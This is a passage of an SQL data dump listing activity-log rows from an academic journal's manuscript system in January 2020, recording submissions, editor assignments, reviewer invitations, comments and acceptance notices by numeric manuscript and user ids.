Reviewer',3185,'Publisher',319),(23454,'2020-01-13 17:02:51','Publisher has Invited Reviewer',3185,'Publisher',319),(23455,'2020-01-13 17:02:51','Publisher has Invited Reviewer',3185,'Publisher',319),(23456,'2020-01-13 17:02:52','Publisher has Invited Reviewer',3185,'Publisher',319),(23457,'2020-01-13 17:02:53','Publisher has Invited Reviewer',3185,'Publisher',319),(23458,'2020-01-13 17:02:53','Publisher has Invited Reviewer',3185,'Publisher',319),(23467,'2020-01-14 07:56:52','Reviewer has submitted comments',3178,'Reviewer',7021),(23473,'2020-01-14 10:12:56','Publisher : Notified Author',3140,'Publisher',319),(23491,'2020-01-14 15:30:02','Publisher : Notified Author',3140,'Publisher',319),(23492,'2020-01-14 15:34:43','Publisher : Notified Author',2667,'Publisher',319),(23493,'2020-01-14 15:35:32','Publisher : Notified Author',2577,'Publisher',319),(23498,'2020-01-14 17:38:36','Manuscript Submitted by Author using Submission form',3202,'Author',4193),(23503,'2020-01-15 19:07:32','Reviewer has updated comments',3011,'Reviewer',10211),(23504,'2020-01-15 19:09:58','Reviewer has updated comments',2874,'Reviewer',10211),(23505,'2020-01-15 19:13:52','Reviewer has submitted comments',3098,'Reviewer',10211),(23506,'2020-01-15 19:18:19','Reviewer has submitted comments',3150,'Reviewer',10211),(23507,'2020-01-15 19:25:39','Reviewer has submitted comments',3195,'Reviewer',10211),(23509,'2020-01-16 02:44:24','Reviewer has submitted comments',3195,'Reviewer',10393),(23517,'2020-01-16 09:12:19','Editor has Accepted to review Manuscript',3178,'Editor',1011),(23518,'2020-01-16 09:12:55','Editor has been Revise (Notify Author) article',3178,'Editor',1011),(23519,'2020-01-16 09:16:58','Publisher : Notified Author',3178,'Publisher',376),(23520,'2020-01-16 09:20:37','Editor has Accepted to review Manuscript',3195,'Editor',1324),(23521,'2020-01-16 09:20:43','Editor has Accepted to review Manuscript',3150,'Editor',1324),(23556,'2020-01-16 12:04:15','Publisher has Invited Reviewer',1497,'Publisher',75),(23557,'2020-01-16 12:04:17','Publisher has Invited Reviewer',1497,'Publisher',75),(23558,'2020-01-16 12:04:18','Publisher has Invited Reviewer',1497,'Publisher',75),(23559,'2020-01-16 12:04:19','Publisher has Invited Reviewer',1497,'Publisher',75),(23560,'2020-01-16 12:04:31','Publisher has Invited Reviewer',1497,'Publisher',75),(23561,'2020-01-16 12:04:49','Publisher has Invited Reviewer',1497,'Publisher',75),(23562,'2020-01-16 12:04:50','Publisher has Invited Reviewer',1497,'Publisher',75),(23563,'2020-01-16 12:04:51','Publisher has Invited Reviewer',1497,'Publisher',75),(23564,'2020-01-16 12:04:52','Publisher has Invited Reviewer',1497,'Publisher',75),(23565,'2020-01-16 12:04:54','Publisher has Invited Reviewer',1497,'Publisher',75),(23566,'2020-01-16 12:04:55','Publisher has Invited Reviewer',1497,'Publisher',75),(23567,'2020-01-16 12:04:56','Publisher has Invited Reviewer',1497,'Publisher',75),(23568,'2020-01-16 12:04:58','Publisher has Invited Reviewer',1497,'Publisher',75),(23569,'2020-01-16 12:04:59','Publisher has Invited Reviewer',1497,'Publisher',75),(23570,'2020-01-16 12:05:00','Publisher has Invited Reviewer',1497,'Publisher',75),(23571,'2020-01-16 12:05:01','Publisher has Invited Reviewer',1497,'Publisher',75),(23572,'2020-01-16 12:05:02','Publisher has Invited Reviewer',1497,'Publisher',75),(23573,'2020-01-16 12:06:05','Publisher has Invited Reviewer',1457,'Publisher',75),(23574,'2020-01-16 12:06:06','Publisher has Invited Reviewer',1457,'Publisher',75),(23575,'2020-01-16 12:06:07','Publisher has Invited Reviewer',1457,'Publisher',75),(23576,'2020-01-16 12:06:08','Publisher has Invited Reviewer',1457,'Publisher',75),(23577,'2020-01-16 12:06:10','Publisher has Invited Reviewer',1457,'Publisher',75),(23578,'2020-01-16 12:06:11','Publisher has Invited Reviewer',1457,'Publisher',75),(23579,'2020-01-16 12:06:12','Publisher has Invited Reviewer',1457,'Publisher',75),(23580,'2020-01-16 12:06:13','Publisher has Invited Reviewer',1457,'Publisher',75),(23581,'2020-01-16 12:06:14','Publisher has Invited Reviewer',1457,'Publisher',75),(23582,'2020-01-16 12:06:16','Publisher has Invited Reviewer',1457,'Publisher',75),(23583,'2020-01-16 12:06:17','Publisher has Invited Reviewer',1457,'Publisher',75),(23584,'2020-01-16 12:09:53','Publisher : Notified Editor',2635,'Publisher',75),(23585,'2020-01-16 12:11:09','Publisher : Notified Author',2696,'Publisher',75),(23680,'2020-01-16 12:24:24','Manuscript Submitted by Publisher',3209,'Publisher',75),(23681,'2020-01-16 12:24:44','Publisher has been Assigned Editor',3209,'Publisher',75),(23682,'2020-01-16 12:25:27','Publisher has been Assigned Editor',3192,'Publisher',75),(23683,'2020-01-16 12:29:08','Editor has Accepted to review Manuscript',3209,'Editor',162),(23684,'2020-01-16 12:29:28','Editor has Declined to review Manuscript',1497,'Editor',162),(23710,'2020-01-17 10:48:39','Manuscript Submitted by Author using Submission form',3213,'Author',4213),(23728,'2020-01-17 16:48:49','Publisher : Notified Author',3178,'Publisher',376),(23732,'2020-01-17 17:42:39','Publisher has been Assigned Editor',3213,'Publisher',84),(23736,'2020-01-17 21:57:25','Manuscript Submitted by Author using Submission form',3219,'Author',4220),(23737,'2020-01-18 00:03:55','Manuscript has been Revised',3178,'Author',4159),(23738,'2020-01-18 01:18:29','Manuscript Submitted by Author using Submission form',3220,'Author',4221),(23798,'2020-01-19 02:18:38','Reviewer has submitted comments',3185,'Reviewer',9803),(23804,'2020-01-19 18:29:16','Reviewer has submitted comments',3098,'Reviewer',10251),(23819,'2020-01-20 11:16:57','Publisher has Invited Reviewer',3213,'Publisher',84),(23820,'2020-01-20 11:16:58','Publisher has Invited Reviewer',3213,'Publisher',84),(23821,'2020-01-20 11:17:00','Publisher has Invited Reviewer',3213,'Publisher',84),(23822,'2020-01-20 11:17:01','Publisher has Invited Reviewer',3213,'Publisher',84),(23823,'2020-01-20 11:17:02','Publisher has Invited Reviewer',3213,'Publisher',84),(23824,'2020-01-20 11:17:03','Publisher has Invited Reviewer',3213,'Publisher',84),(23825,'2020-01-20 11:17:04','Publisher has Invited Reviewer',3213,'Publisher',84),(23826,'2020-01-20 11:17:05','Publisher has Invited Reviewer',3213,'Publisher',84),(23827,'2020-01-20 11:17:07','Publisher has Invited Reviewer',3213,'Publisher',84),(23828,'2020-01-20 11:17:08','Publisher has Invited Reviewer',3213,'Publisher',84),(23829,'2020-01-20 11:17:09','Publisher has Invited Reviewer',3213,'Publisher',84),(23830,'2020-01-20 11:17:10','Publisher has Invited Reviewer',3213,'Publisher',84),(23831,'2020-01-20 11:17:11','Publisher has Invited Reviewer',3213,'Publisher',84),(23832,'2020-01-20 11:17:12','Publisher has Invited Reviewer',3213,'Publisher',84),(23833,'2020-01-20 11:17:13','Publisher has Invited Reviewer',3213,'Publisher',84),(23834,'2020-01-20 11:17:14','Publisher has Invited Reviewer',3213,'Publisher',84),(23835,'2020-01-20 11:17:15','Publisher has Invited Reviewer',3213,'Publisher',84),(23836,'2020-01-20 11:17:16','Publisher has Invited Reviewer',3213,'Publisher',84),(23837,'2020-01-20 11:17:18','Publisher has Invited Reviewer',3213,'Publisher',84),(23838,'2020-01-20 11:17:19','Publisher has Invited Reviewer',3213,'Publisher',84),(23839,'2020-01-20 11:17:20','Publisher has Invited Reviewer',3213,'Publisher',84),(23840,'2020-01-20 11:17:26','Publisher has Invited Reviewer',3213,'Publisher',84),(23841,'2020-01-20 11:17:27','Publisher has Invited Reviewer',3213,'Publisher',84),(23842,'2020-01-20 11:17:28','Publisher has Invited Reviewer',3213,'Publisher',84),(23843,'2020-01-20 11:17:29','Publisher has Invited Reviewer',3213,'Publisher',84),(23844,'2020-01-20 11:17:31','Publisher has Invited Reviewer',3213,'Publisher',84),(23848,'2020-01-20 17:21:19','Publisher : Notified Author',2667,'Publisher',319),(23849,'2020-01-20 17:22:37','Publisher : Notified Author',3140,'Publisher',319),(23852,'2020-01-20 17:33:14','Publisher : Notified Author',2577,'Publisher',319),(23887,'2020-01-21 11:41:01','Reviewer has submitted comments',3178,'Reviewer',9537),(23894,'2020-01-21 14:23:23','Manuscript Submitted by Author',3237,'Author',4251),(23895,'2020-01-21 14:53:12','Publisher: Accept Notification has been sent to Author',3071,'Publisher',645),(23896,'2020-01-21 14:53:25','Publisher has been Accepted Articles  article',3071,'Publisher',645),(23898,'2020-01-21 14:55:56','Editor has Accepted to review Manuscript',3050,'Editor',633),(23899,'2020-01-21 14:56:22','Editor has been Editor Decision Accepted article',3050,'Editor',633),(23900,'2020-01-21 14:57:02','Publisher has been Assigned Editor',3202,'Publisher',645),(23901,'2020-01-21 14:57:43','Publisher has Invited Reviewer',3202,'Publisher',645),(23902,'2020-01-21 14:57:45','Publisher has Invited Reviewer',3202,'Publisher',645),(23903,'2020-01-21 14:57:46','Publisher has Invited Reviewer',3202,'Publisher',645),(23904,'2020-01-21 14:57:47','Publisher has Invited Reviewer',3202,'Publisher',645),(23905,'2020-01-21 14:57:48','Publisher has Invited Reviewer',3202,'Publisher',645),(23906,'2020-01-21 15:55:32','Reviewer has submitted comments',3185,'Reviewer',7415),(23907,'2020-01-21 17:20:11','Editor has been Revise (Notify Author) article',3185,'Editor',1067),(23908,'2020-01-21 17:20:56','Editor has been Editor Decision Accepted article',2919,'Editor',1067),(23909,'2020-01-21 17:21:10','Editor has been Editor Decision Accepted article',2277,'Editor',1067),(23910,'2020-01-21 17:29:16','Publisher : Notified Author',3185,'Publisher',319),(23911,'2020-01-21 17:31:34','Publisher has been Accepted Articles  article',2919,'Publisher',319),(23912,'2020-01-21 17:32:16','Publisher has been Accepted Articles  article',2277,'Publisher',319),(23915,'2020-01-22 08:57:13','Reviewer has submitted comments',3122,'Reviewer',661),(23935,'2020-01-22 10:50:31','Publisher has been Accepted Articles  article',2463,'Publisher',274),(23936,'2020-01-22 10:50:48','Publisher has been Accepted Articles  article',2694,'Publisher',274),(23997,'2020-01-22 14:46:30','Editor has been Editor Decision Accepted article',3178,'Editor',1011),(23998,'2020-01-22 14:49:57','Publisher: Accept Notification has been sent to Author',3178,'Publisher',376),(23999,'2020-01-22 14:51:37','Publisher has Invited Reviewer',3213,'Publisher',84),(24013,'2020-01-23 07:22:07','Manuscript Submitted by Author',3248,'Author',4268),(24033,'2020-01-23 15:11:16','Publisher has Invited Reviewer',3213,'Publisher',84),(24034,'2020-01-23 15:11:19','Publisher has Invited Reviewer',3213,'Publisher',84),(24035,'2020-01-23 15:11:20','Publisher has Invited Reviewer',3213,'Publisher',84),(24036,'2020-01-23 15:11:22','Publisher has Invited Reviewer',3213,'Publisher',84),(24037,'2020-01-23 15:11:23','Publisher has Invited Reviewer',3213,'Publisher',84),(24038,'2020-01-23 15:11:24','Publisher has Invited Reviewer',3213,'Publisher',84),(24039,'2020-01-23 15:11:25','Publisher has Invited Reviewer',3213,'Publisher',84),(24040,'2020-01-23 15:11:26','Publisher has Invited Reviewer',3213,'Publisher',84),(24043,'2020-01-23 16:39:00','Publisher has been Accepted Articles  article',3050,'Publisher',645),(24044,'2020-01-23 16:44:22','Manuscript Submitted by Author using Submission form',3249,'Author',4269),(24045,'2020-01-23 16:45:41','Publisher has been Assigned Editor',3237,'Publisher',248),(24089,'2020-01-24 12:02:28','Manuscript Submitted by Publisher',3252,'Publisher',984),(24090,'2020-01-24 12:02:58','Publisher has been Assigned Editor',3252,'Publisher',984),(24093,'2020-01-24 14:44:52','Publisher has Invited Reviewer',3037,'Publisher',84),(24094,'2020-01-24 14:44:54','Publisher has Invited Reviewer',3037,'Publisher',84),(24095,'2020-01-24 14:44:55','Publisher has Invited Reviewer',3037,'Publisher',84),(24096,'2020-01-24 14:44:56','Publisher has Invited Reviewer',3037,'Publisher',84),(24097,'2020-01-24 14:44:57','Publisher has Invited Reviewer',3037,'Publisher',84),(24098,'2020-01-24 14:44:59','Publisher has Invited Reviewer',3037,'Publisher',84),(24099,'2020-01-24 14:45:21','Publisher has Invited Reviewer',3036,'Publisher',84),(24100,'2020-01-24 14:45:22','Publisher has Invited Reviewer',3036,'Publisher',84),(24101,'2020-01-24 14:45:23','Publisher has Invited Reviewer',3036,'Publisher',84),(24102,'2020-01-24 14:45:24','Publisher has Invited Reviewer',3036,'Publisher',84),(24103,'2020-01-24 14:45:25','Publisher has Invited Reviewer',3036,'Publisher',84),(24104,'2020-01-24 14:45:26','Publisher has Invited Reviewer',3036,'Publisher',84),(24110,'2020-01-24 15:46:09','Publisher has Invited Reviewer',3037,'Publisher',84),(24111,'2020-01-24 15:46:10','Publisher has Invited Reviewer',3037,'Publisher',84),(24112,'2020-01-24 15:46:12','Publisher has Invited Reviewer',3037,'Publisher',84),(24113,'2020-01-24 15:46:13','Publisher has Invited Reviewer',3037,'Publisher',84),(24114,'2020-01-24 15:46:14','Publisher has Invited Reviewer',3037,'Publisher',84),(24115,'2020-01-24 15:46:38','Publisher has Invited Reviewer',3036,'Publisher',84),(24116,'2020-01-24 15:46:39','Publisher has Invited Reviewer',3036,'Publisher',84),(24117,'2020-01-24 15:46:40','Publisher has Invited Reviewer',3036,'Publisher',84),(24118,'2020-01-24 15:46:41','Publisher has Invited Reviewer',3036,'Publisher',84),(24119,'2020-01-24 15:46:42','Publisher has Invited Reviewer',3036,'Publisher',84),(24121,'2020-01-24 19:51:27','Reviewer has submitted comments',3213,'Reviewer',5797),(24123,'2020-01-25 01:38:56','Manuscript Submitted by Author using Submission form',3256,'Author',4281),(24125,'2020-01-25 03:44:35','Manuscript Submitted by Author using Submission form',3258,'Author',4283),(24129,'2020-01-25 09:37:52','Publisher has Invited Reviewer',3192,'Publisher',75),(24130,'2020-01-25 09:37:53','Publisher has Invited Reviewer',3192,'Publisher',75),(24131,'2020-01-25 09:37:54','Publisher has Invited Reviewer',3192,'Publisher',75),(24132,'2020-01-25 09:37:55','Publisher has Invited Reviewer',3192,'Publisher',75),(24133,'2020-01-25 09:37:56','Publisher has Invited Reviewer',3192,'Publisher',75),(24134,'2020-01-25 09:37:57','Publisher has Invited Reviewer',3192,'Publisher',75),(24135,'2020-01-25 09:37:58','Publisher has Invited Reviewer',3192,'Publisher',75),(24136,'2020-01-25 09:39:58','Editor has Accepted to review Manuscript',3192,'Editor',161),(24142,'2020-01-25 10:18:27','Manuscript Submitted by Publisher',3259,'Publisher',85),(24143,'2020-01-25 10:40:13','Publisher has been Assigned Editor',3259,'Publisher',85),(24144,'2020-01-25 10:40:52','Publisher has Invited Reviewer',3259,'Publisher',85),(24145,'2020-01-25 10:40:53','Publisher has Invited Reviewer',3259,'Publisher',85),(24146,'2020-01-25 10:51:48','Publisher has Invited Reviewer',3259,'Publisher',85),(24147,'2020-01-25 10:51:50','Publisher has Invited Reviewer',3259,'Publisher',85),(24148,'2020-01-25 10:51:51','Publisher has Invited Reviewer',3259,'Publisher',85),(24149,'2020-01-25 10:51:52','Publisher has Invited Reviewer',3259,'Publisher',85),(24150,'2020-01-25 10:52:27','Publisher has Invited Reviewer',3259,'Publisher',85),(24151,'2020-01-25 10:52:28','Publisher has Invited Reviewer',3259,'Publisher',85),(24152,'2020-01-25 10:52:29','Publisher has Invited Reviewer',3259,'Publisher',85),(24153,'2020-01-25 10:52:30','Publisher has Invited Reviewer',3259,'Publisher',85),(24155,'2020-01-25 11:47:01','Publisher has been Assigned Editor',3258,'Publisher',645),(24160,'2020-01-25 12:28:04','Manuscript Submitted by Author using Submission form',3261,'Author',4286),(24161,'2020-01-25 12:45:22','Publisher has Invited Reviewer',3037,'Publisher',84),(24162,'2020-01-25 12:45:24','Publisher has Invited Reviewer',3037,'Publisher',84),(24163,'2020-01-25 12:45:25','Publisher has Invited Reviewer',3037,'Publisher',84),(24164,'2020-01-25 12:45:26','Publisher has Invited Reviewer',3037,'Publisher',84),(24165,'2020-01-25 12:45:28','Publisher has Invited Reviewer',3037,'Publisher',84),(24166,'2020-01-25 12:45:29','Publisher has Invited Reviewer',3037,'Publisher',84),(24167,'2020-01-25 12:46:22','Publisher has Invited Reviewer',3036,'Publisher',84),(24168,'2020-01-25 12:46:23','Publisher has Invited Reviewer',3036,'Publisher',84),(24169,'2020-01-25 12:46:24','Publisher has Invited Reviewer',3036,'Publisher',84),(24170,'2020-01-25 12:46:30','Publisher has Invited Reviewer',3036,'Publisher',84),(24171,'2020-01-25 12:46:32','Publisher has Invited Reviewer',3036,'Publisher',84),(24172,'2020-01-25 12:46:33','Publisher has Invited Reviewer',3036,'Publisher',84),(24173,'2020-01-25 12:46:34','Publisher has Invited Reviewer',3036,'Publisher',84),(24174,'2020-01-25 12:47:09','Publisher has Invited Reviewer',2723,'Publisher',84),(24175,'2020-01-25 12:47:10','Publisher has Invited Reviewer',2723,'Publisher',84),(24176,'2020-01-25 12:47:12','Publisher has Invited Reviewer',2723,'Publisher',84),(24177,'2020-01-25 12:47:13','Publisher has Invited Reviewer',2723,'Publisher',84),(24178,'2020-01-25 12:47:14','Publisher has Invited Reviewer',2723,'Publisher',84),(24179,'2020-01-25 12:47:16','Publisher has Invited Reviewer',2723,'Publisher',84),(24180,'2020-01-25 12:47:17','Publisher has Invited Reviewer',2723,'Publisher',84),(24181,'2020-01-25 12:47:18','Publisher has Invited Reviewer',2723,'Publisher',84),(24182,'2020-01-25 12:47:20','Publisher has Invited Reviewer',2723,'Publisher',84),(24183,'2020-01-25 12:47:22','Publisher has Invited Reviewer',2723,'Publisher',84),(24187,'2020-01-25 13:25:05','Publisher has been Assigned Editor',3256,'Publisher',85),(24193,'2020-01-26 12:03:43','Manuscript Submitted by Author using Submission form',3266,'Author',4292),(24197,'2020-01-27 10:33:06','Publisher has Invited Reviewer',3259,'Publisher',85),(24198,'2020-01-27 10:33:07','Publisher has Invited Reviewer',3259,'Publisher',85),(24199,'2020-01-27 10:43:29','Publisher has Invited Reviewer',3256,'Publisher',85),(24200,'2020-01-27 10:43:30','Publisher has Invited Reviewer',3256,'Publisher',85),(24201,'2020-01-27 10:43:31','Publisher has Invited Reviewer',3256,'Publisher',85),(24202,'2020-01-27 10:43:32','Publisher has Invited Reviewer',3256,'Publisher',85),(24203,'2020-01-27 10:43:33','Publisher has Invited Reviewer',3256,'Publisher',85),(24204,'2020-01-27 10:43:34','Publisher has Invited Reviewer',3256,'Publisher',85),(24205,'2020-01-27 10:43:35','Publisher has Invited Reviewer',3256,'Publisher',85),(24206,'2020-01-27 10:43:37','Publisher has Invited Reviewer',3256,'Publisher',85),(24207,'2020-01-27 10:43:38','Publisher has Invited Reviewer',3256,'Publisher',85),(24208,'2020-01-27 10:43:39','Publisher has Invited Reviewer',3256,'Publisher',85),(24209,'2020-01-27 10:43:40','Publisher has Invited Reviewer',3256,'Publisher',85),(24210,'2020-01-27 10:43:42','Publisher has Invited Reviewer',3256,'Publisher',85),(24271,'2020-01-27 17:20:16','Publisher has Invited Reviewer',2723,'Publisher',84),(24272,'2020-01-27 17:20:17','Publisher has Invited Reviewer',2723,'Publisher',84),(24273,'2020-01-27 17:20:18','Publisher has Invited Reviewer',2723,'Publisher',84),(24274,'2020-01-27 17:20:19','Publisher has Invited Reviewer',2723,'Publisher',84),(24275,'2020-01-27 17:20:20','Publisher has Invited Reviewer',2723,'Publisher',84),(24276,'2020-01-27 17:20:21','Publisher has Invited Reviewer',2723,'Publisher',84),(24277,'2020-01-27 17:20:23','Publisher has Invited Reviewer',2723,'Publisher',84),(24278,'2020-01-27 17:20:24','Publisher has Invited Reviewer',2723,'Publisher',84),(24279,'2020-01-27 17:20:25','Publisher has Invited Reviewer',2723,'Publisher',84),(24280,'2020-01-27 17:20:26','Publisher has Invited Reviewer',2723,'Publisher',84),(24281,'2020-01-27 17:20:27','Publisher has Invited Reviewer',2723,'Publisher',84),(24282,'2020-01-27 17:20:28','Publisher has Invited Reviewer',2723,'Publisher',84),(24283,'2020-01-27 17:20:29','Publisher has Invited Reviewer',2723,'Publisher',84),(24284,'2020-01-27 17:20:30','Publisher has Invited Reviewer',2723,'Publisher',84),(24311,'2020-01-28 11:29:44','Publisher has been Assigned Editor',3249,'Publisher',48),(24312,'2020-01-28 11:30:28','Publisher has been Assigned Editor',3219,'Publisher',48),(24313,'2020-01-28 11:30:42','Publisher has been Assigned Editor',3220,'Publisher',48),(24317,'2020-01-28 14:39:21','Publisher has Invited Reviewer',3219,'Publisher',48),(24318,'2020-01-28 14:39:28','Publisher has Invited Reviewer',3219,'Publisher',48),(24319,'2020-01-28 14:40:18','Publisher has Invited Reviewer',3249,'Publisher',48),(24320,'2020-01-28 14:40:45','Publisher has Invited Reviewer',3220,'Publisher',48),(24321,'2020-01-28 15:11:01','Manuscript Submitted by Publisher',3274,'Publisher',984),(24322,'2020-01-28 15:11:22','Publisher has been Assigned Editor',3274,'Publisher',984),(24325,'2020-01-28 16:17:27','Editor has Accepted to review Manuscript',3256,'Editor',1291),(24326,'2020-01-28 16:18:46','Editor has Invited Reviewer',3256,'Editor',1291),(24327,'2020-01-28 16:18:47','Editor has Invited Reviewer',3256,'Editor',1291),(24328,'2020-01-28 16:20:30','Editor has Invited Reviewer',3256,'Editor',1291),(24329,'2020-01-28 16:47:37','Reviewer has submitted comments',3256,'Reviewer',10684),(24330,'2020-01-28 16:51:59','Reviewer has submitted comments',3256,'Reviewer',10962),(24352,'2020-01-29 01:42:41','Reviewer has submitted comments',3036,'Reviewer',10902),(24357,'2020-01-29 09:44:53','Publisher : Notified Editor',3036,'Publisher',84),(24358,'2020-01-29 09:47:20','Editor has Accepted to review Manuscript',3036,'Editor',221),(24359,'2020-01-29 09:47:49','Editor has been Revise (Notify Author) article',3036,'Editor',221),(24378,'2020-01-29 09:50:02','Publisher : Notified Author',3036,'Publisher',84),(24379,'2020-01-29 10:04:42','Reviewer has submitted comments',3037,'Reviewer',10902),(24380,'2020-01-29 10:07:38','Reviewer has updated comments',3037,'Reviewer',10902),(24381,'2020-01-29 10:08:37','Publisher : Notified Editor',3037,'Publisher',84),(24382,'2020-01-29 10:09:41','Editor has Accepted to review Manuscript',3037,'Editor',222),(24383,'2020-01-29 10:10:03','Editor has been Revise (Notify Author) article',3037,'Editor',222),(24384,'2020-01-29 10:11:02','Publisher : Notified Author',3037,'Publisher',84),(24389,'2020-01-29 11:24:42','Publisher has Invited Reviewer',3274,'Publisher',984),(24390,'2020-01-29 11:24:43','Publisher has Invited Reviewer',3274,'Publisher',984),(24391,'2020-01-29 11:24:44','Publisher has Invited Reviewer',3274,'Publisher',984),(24392,'2020-01-29 11:24:45','Publisher has Invited Reviewer',3274,'Publisher',984),(24394,'2020-01-29 11:45:43','Publisher has Invited Reviewer',3274,'Publisher',984),(24404,'2020-01-29 16:42:05','Publisher has been Assigned Editor',3261,'Publisher',248),(24409,'2020-01-29 21:15:45','Manuscript Submitted by Publisher',3282,'Publisher',48),(24410,'2020-01-29 21:16:01','Publisher has been Assigned Editor',3282,'Publisher',48),(24411,'2020-01-29 21:18:59','Publisher has Invited Reviewer',3282,'Publisher',48),(24412,'2020-01-29 21:19:00','Publisher has Invited Reviewer',3282,'Publisher',48),(24413,'2020-01-29 21:19:02','Publisher has Invited Reviewer',3282,'Publisher',48),(24414,'2020-01-29 21:19:03','Publisher has Invited Reviewer',3282,'Publisher',48),(24422,'2020-01-30 09:53:07','Editor has been Editor Decision Accepted article',3195,'Editor',1324),(24423,'2020-01-30 09:53:23','Editor has been Editor Decision Accepted article',3150,'Editor',1324),(24424,'2020-01-30 09:53:44','Editor has been Editor Decision Accepted article',3098,'Editor',1324),(24426,'2020-01-30 10:12:15','Publisher : Notified Author',3037,'Publisher',84),(24427,'2020-01-30 10:15:37','Publisher has Invited Reviewer',3252,'Publisher',984),(24428,'2020-01-30 10:15:38','Publisher has Invited Reviewer',3252,'Publisher',984),(24429,'2020-01-30 10:15:38','Publisher has Invited Reviewer',3252,'Publisher',984),(24430,'2020-01-30 10:15:39','Publisher has Invited Reviewer',3252,'Publisher',984),(24441,'2020-01-30 13:29:46','Publisher has been Assigned Editor',3266,'Publisher',75),(24443,'2020-01-30 13:33:00','Publisher has Invited Reviewer',3282,'Publisher',48),(24444,'2020-01-30 13:33:16','Publisher has Invited Reviewer',3249,'Publisher',48),(24445,'2020-01-30 13:34:06','Editor has been Editor Decision Accepted article',2635,'Editor',161),(24446,'2020-01-30 13:34:18','Editor has Accepted to review Manuscript',3266,'Editor',161),(24447,'2020-01-30 13:38:12','Publisher has Invited Reviewer',3209,'Publisher',75),(24448,'2020-01-30 13:38:14','Publisher has Invited Reviewer',3209,'Publisher',75),(24449,'2020-01-30 13:38:15','Publisher has Invited Reviewer',3209,'Publisher',75),(24450,'2020-01-30 13:38:17','Publisher has Invited Reviewer',3209,'Publisher',75),(24451,'2020-01-30 13:43:40','Publisher has Invited Reviewer',3209,'Publisher',75),(24452,'2020-01-30 13:43:41','Publisher has Invited Reviewer',3209,'Publisher',75),(24453,'2020-01-30 13:43:42','Publisher has Invited Reviewer',3209,'Publisher',75),(24454,'2020-01-30 13:43:44','Publisher has Invited Reviewer',3209,'Publisher',75),(24457,'2020-01-30 14:06:24','Publisher : Notified Editor',3122,'Publisher',75),(24458,'2020-01-30 14:09:37','Editor has been Revise (Notify Author) article',3122,'Editor',160),(24459,'2020-01-30 14:12:07','Editor has Invited Reviewer',1457,'Editor',160),(24460,'2020-01-30 14:12:17','Editor has Invited Reviewer',1457,'Editor',160),(24461,'2020-01-30 14:12:18','Editor has Invited Reviewer',1457,'Editor',160),(24462,'2020-01-30 14:12:19','Editor has Invited Reviewer',1457,'Editor',160),(24463,'2020-01-30 14:12:20','Editor has Invited Reviewer',1457,'Editor',160),(24465,'2020-01-30 14:16:23','Editor has been Revise (Notify Author) article',2988,'Editor',160),(24471,'2020-01-30 17:14:46','Publisher has been Withdrawn  article',3140,'Publisher',319),(24472,'2020-01-30 17:15:07','Publisher has been Withdrawn  article',2577,'Publisher',319),(24474,'2020-01-30 20:32:16','Reviewer has updated comments',2754,'Reviewer',5467),(24475,'2020-01-30 21:45:04','Reviewer has submitted comments',3213,'Reviewer',5795),(24476,'2020-01-30 21:45:06','Reviewer has submitted comments',3213,'Reviewer',5795),(24477,'2020-01-30 21:46:54','Reviewer has submitted comments',3213,'Reviewer',5795),(24478,'2020-01-30 21:47:19','Reviewer has updated comments',3213,'Reviewer',5795),(24479,'2020-01-30 21:47:37','Reviewer has updated comments',3213,'Reviewer',5795),(24480,'2020-01-30 21:48:31','Reviewer has updated comments',3213,'Reviewer',5795),(24481,'2020-01-30 21:49:07','Reviewer has updated comments',3213,'Reviewer',5795),(24483,'2020-01-31 09:30:23','Publisher : Notified Editor',3213,'Publisher',84),(24484,'2020-01-31 09:31:28','Editor has Accepted to review Manuscript',3213,'Editor',222),(24485,'2020-01-31 09:31:43','Editor has been Revise (Notify Author) article',3213,'Editor',222),(24486,'2020-01-31 09:33:51','Publisher : Notified Author',3213,'Publisher',84),(24493,'2020-01-31 09:56:33','Publisher has Invited Reviewer',2943,'Publisher',48),(24504,'2020-01-31 11:20:13','Publisher : Notified Editor',3256,'Publisher',85),(24509,'2020-01-31 11:37:13','Editor has been Editor Decision Accepted article',3256,'Editor',1291),(24510,'2020-01-31 11:38:15','Publisher: Accept Notification has been sent to Author',3256,'Publisher',85),(24533,'2020-01-31 12:56:06','Reviewer has submitted comments',3256,'Reviewer',10685),(24535,'2020-01-31 13:43:12','Editor has been Editor Decision Accepted article',3185,'Editor',1067),(24536,'2020-01-31 13:43:52','Publisher: Accept Notification has been sent to Author',3185,'Publisher',319),(24547,'2020-01-31 13:55:58','Reviewer has submitted comments',3259,'Reviewer',10944),(24598,'2020-01-31 15:46:33','Publisher: Accept Notification has been sent to Author',2635,'Publisher',75),(24640,'2020-01-31 15:54:29','Manuscript Submitted by Author using Submission form',3293,'Author',4330),(24641,'2020-01-31 16:20:54','Editor has Accepted to review Manuscript',3249,'Editor',195),(24642,'2020-01-31 16:21:08','Editor has Accepted to review Manuscript',3220,'Editor',195),(24643,'2020-01-31 16:21:26','Editor has Accepted to review Manuscript',3219,'Editor',195),(24644,'2020-01-31 16:21:47','Editor has Accepted to review Manuscript',2594,'Editor',195),(24645,'2020-01-31 16:22:04','Editor has Accepted to review Manuscript',2707,'Editor',195),(24646,'2020-01-31 16:22:36','Editor has Accepted to review Manuscript',2464,'Editor',195),(24647,'2020-01-31 16:43:00','Publisher: Accept Notification has been sent to Author',630,'Publisher',75),(24648,'2020-01-31 16:45:27','Publisher : Notified Author',2696,'Publisher',75),(24649,'2020-01-31 16:46:30','Publisher has Invited Reviewer',3154,'Publisher',75),(24650,'2020-01-31 16:46:31','Publisher has Invited Reviewer',3154,'Publisher',75),(24651,'2020-01-31 16:46:32','Publisher has Invited Reviewer',3154,'Publisher',75),(24652,'2020-01-31 16:46:33','Publisher has Invited Reviewer',3154,'Publisher',75),(24653,'2020-01-31 16:46:34','Publisher has Invited Reviewer',3154,'Publisher',75),(24654,'2020-01-31 16:46:37','Publisher has Invited Reviewer',3154,'Publisher',75),(24655,'2020-01-31 16:46:38','Publisher has Invited Reviewer',3154,'Publisher',75),(24656,'2020-01-31 16:46:39','Publisher has Invited Reviewer',3154,'Publisher',75),(24657,'2020-01-31 16:46:40','Publisher has Invited Reviewer',3154,'Publisher',75),(24658,'2020-01-31 16:46:41','Publisher has Invited Reviewer',3154,'Publisher',75),(24659,'2020-01-31 16:46:42','Publisher has Invited Reviewer',3154,'Publisher',75),(24660,'2020-01-31 16:46:43','Publisher has Invited Reviewer',3154,'Publisher',75),(24661,'2020-01-31 16:47:22','Publisher has Invited Reviewer',3192,'Publisher',75),(24662,'2020-01-31 16:47:23','Publisher has Invited Reviewer',3192,'Publisher',75),(24663,'2020-01-31 16:47:24','Publisher has Invited 